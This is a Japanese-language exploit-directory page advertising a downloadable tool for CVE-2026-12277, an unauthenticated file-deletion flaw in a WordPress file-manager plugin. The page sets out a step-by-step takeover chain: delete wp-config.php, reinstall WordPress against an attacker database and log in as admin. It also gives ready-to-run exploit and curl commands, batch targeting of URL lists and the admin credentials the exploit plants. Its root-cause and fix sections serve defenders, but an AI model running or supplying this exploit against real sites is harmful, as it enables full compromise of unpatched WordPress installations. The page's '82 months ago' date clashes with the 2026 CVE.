Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-12277 — Frontend File Manager Plugin (WordPress) <= 23.6 - 未認証の任意ファイル削除によるRCE | Kitploit
ツール/GitHubGitHub/moritakaaz/cve-2026-12277
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストペイロード開発
GitHubmoritakaaz/cve-2026-12277

CVE-2026-12277

Frontend File Manager Plugin (WordPress) <= 23.6 - 未認証の任意ファイル削除によるRCE

リポジトリを見る
82ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-12277

Frontend File Manager プラグイン (WordPress) <= 23.6 - 非認証の任意ファイル削除によるRCE

概要

フィールド値
CVECVE-2026-12277
プラグインFrontend File Manager Plugin (nmedia-user-file-uploader)
影響を受けるバージョン<= 23.6
タイプ非認証の任意ファイル削除
CVSS8.7 (HIGH)
CWECWE-73 (外部からのファイル名またはパスの制御)
前提条件ゲストアップロードモードが有効
パッチなし (2026年7月現在)
研究者Chamseddine Bouzaiene

根本原因

このプラグインは、アップロードされたファイルのパスを投稿メタデータ (wpfm_dir_path) に保存します。wpfm_file_meta_update AJAX エンドポイントは:

  1. Nonce チェックがコメントアウトされています (files.php の 769-771 行)
  2. nopriv として登録されている (認証なしでアクセス可能)
  3. unset($_REQUEST['wpfm_dir_path']) による防御は、PHP の request_order の癖 (クエリ文字列経由で送信) によってバイパス可能

wpfm_delete_file が呼び出されると、投稿メタから wpfm_dir_path を読み取り、パスの検証なしで unlink() を呼び出します。

脆弱なエンドポイント

AJAX アクションNonce 必須認証必須nopriv
wpfm_file_meta_updateいいえ (コメントアウト済み)いいえはい (常に)
wpfm_delete_fileはいいいえはい (常に)
wpfm_upload_fileはいいいえはい (ゲストアップロードがオンの場合)

エクスプロイトの流れ

1. Detect plugin + guest upload enabled
2. Auto-extract AJAX nonce from frontend page (hidden input field)
3. Upload file as guest OR bruteforce existing post ID
4. Overwrite wpfm_dir_path via query string bypass → point to wp-config.php
5. Trigger wpfm_delete_file → unlink(wp-config.php)
6. WordPress enters setup mode (setup-config.php)
7. Complete setup with attacker-controlled database
8. Login as admin → full takeover

ファイル

ファイル説明
exploit.pyPython フルエクスプロイト (検出→利用→乗っ取り)
poc_curl.shBash/curl の PoC (Linux)
poc_curl.ps1PowerShell/curl の PoC (Windows)
lists.txt対象 URL リスト (1行1URL、バッチモード用)
requirements.txtPython 依存関係

使用方法

Python エクスプロイト (完全自動)

# Install dependencies
pip install -r requirements.txt

# Full auto exploit (nonce auto-detected)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root

# Detection only
python exploit.py -u http://target.com --detect-only

# With manual nonce (if auto-detect fails)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4

# With Burp proxy
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080

# Custom attacker DB config
python exploit.py -u http://target.com \
    -p /var/www/html/wp-config.php \
    --dbname pwned_db \
    --dbuser root \
    --dbpass secret \
    --dbhost localhost

エクスプロイト成功後 - ログイン

エクスプロイト成功後、WordPress管理画面にログイン:

URL:      http://target.com/wp-login.php
Username: shac1x
Password: Sh4c1x_Pwn3d!

curl PoC (Bash)

bash poc_curl.sh http://target.com

curl PoC (PowerShell)

.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"

引数

引数必須説明
-u, --urlはい対象の WordPress URL
-p, --pathいいえサーバー上の wp-config.php への絶対パス
--nonceいいえAJAX nonce (自動抽出をスキップ)
--dbnameいいえ攻撃者のデータベース名 (デフォルト: wp_pwned)
--dbuserいいえ攻撃者のデータベースユーザー (デフォルト: root)
--dbpassいいえ攻撃者のデータベースパスワード
--dbhostいいえ攻撃者のデータベースホスト (デフォルト: localhost)
--proxyいいえHTTP プロキシ (例: http://127.0.0.1:8080)
--timeoutいいえリクエストタイムアウト (秒) (デフォルト: 15)
--detect-onlyいいえ脆弱性を検出するのみ、エクスプロイトはしない

Nonce 自動抽出の仕組み

エクスプロイトは、以下の場所で wpfm_ajax_nonce を自動的に検索します:

  1. 一般的なページスラッグ: /file-manager/、/upload/、/files/、/file-upload/ など
  2. 直接ファイル: /file-manager.php
  3. ホームページにあるすべての内部リンク (クローリング)
  4. WP REST API (/wp-json/)

Nonce は隠し入力フィールドとして現れます:

<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />

または、ローカライズされた JavaScript 内:

var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};

パスバイパス手法

コードは unset($_REQUEST['wpfm_dir_path']) を行い、直接の上書きを防ぎます。バイパス方法:

  1. クエリ文字列インジェクション: 他のデータは POST ボディで送信し、wpfm_dir_path を URL クエリパラメータとして送信します。PHP の $_REQUEST マージ動作により、request_order の設定によって値が保持されることがあります。

  2. アップロードフロー中に事前設定: wpfm_dir_path メタは最初のファイルアップロードフック時に設定されます。その段階で悪用すれば、バイパスは不要です。

テスト環境

コンポーネントバージョン
WordPress6.9.4
PHP8.2.12
プラグインFrontend File Manager 23.6
OSWindows (XAMPP) / Linux
結果完全な乗っ取りを確認

脆弱なコードの参照箇所

Nonce 無効化 (inc/files.php:769-771)

/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
    wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/

任意メタ書き込み (inc/files.php:787-795)

$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
    update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}

認証バイパス (inc/files.php:690-693)

$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
    wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// ゲストアップロードがオンの場合 → !$allow_guest = false → チェック全体がスキップされる

検証なし削除 (inc/file.class.php:729-753)

function delete_file_locally() {
    $file_path = $this->path;  // wpfm_dir_path メタから取得 - 検証なし
    if (file_exists($file_path)) {
        unlink($file_path);    // 任意ファイル削除
    }
}

パス解決 (inc/file.class.php:172-184)

function path() {
    $file_dir_path = null;
    if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
        $file_dir_path = $this->legacy->path();  // フォールバック: upload_dir + wpfm_file_name
    }
    if( ! is_file($file_dir_path) ) {
        $file_dir_path = null;
    }
    return $file_dir_path;  // 正規化なし、realpath チェックなし
}

修正方法

  • wpfm_file_meta_update で nonce 検証のコメントアウトを解除する
  • realpath() とプレフィックスチェックを使用して、wpfm_dir_path がアップロードディレクトリ内にあることを検証する
  • ファイル削除パスにユーザー制御の入力を許可しない
  • ゲストアップロード設定に依存しない、適切な認可チェックを追加する

免責事項

このツールは、許可されたセキュリティテストおよび教育目的のみで提供されています。コンピュータシステムへの無許可アクセスは違法です。テストを行う前に必ず書面による許可を得てください。

ツールをダウンロード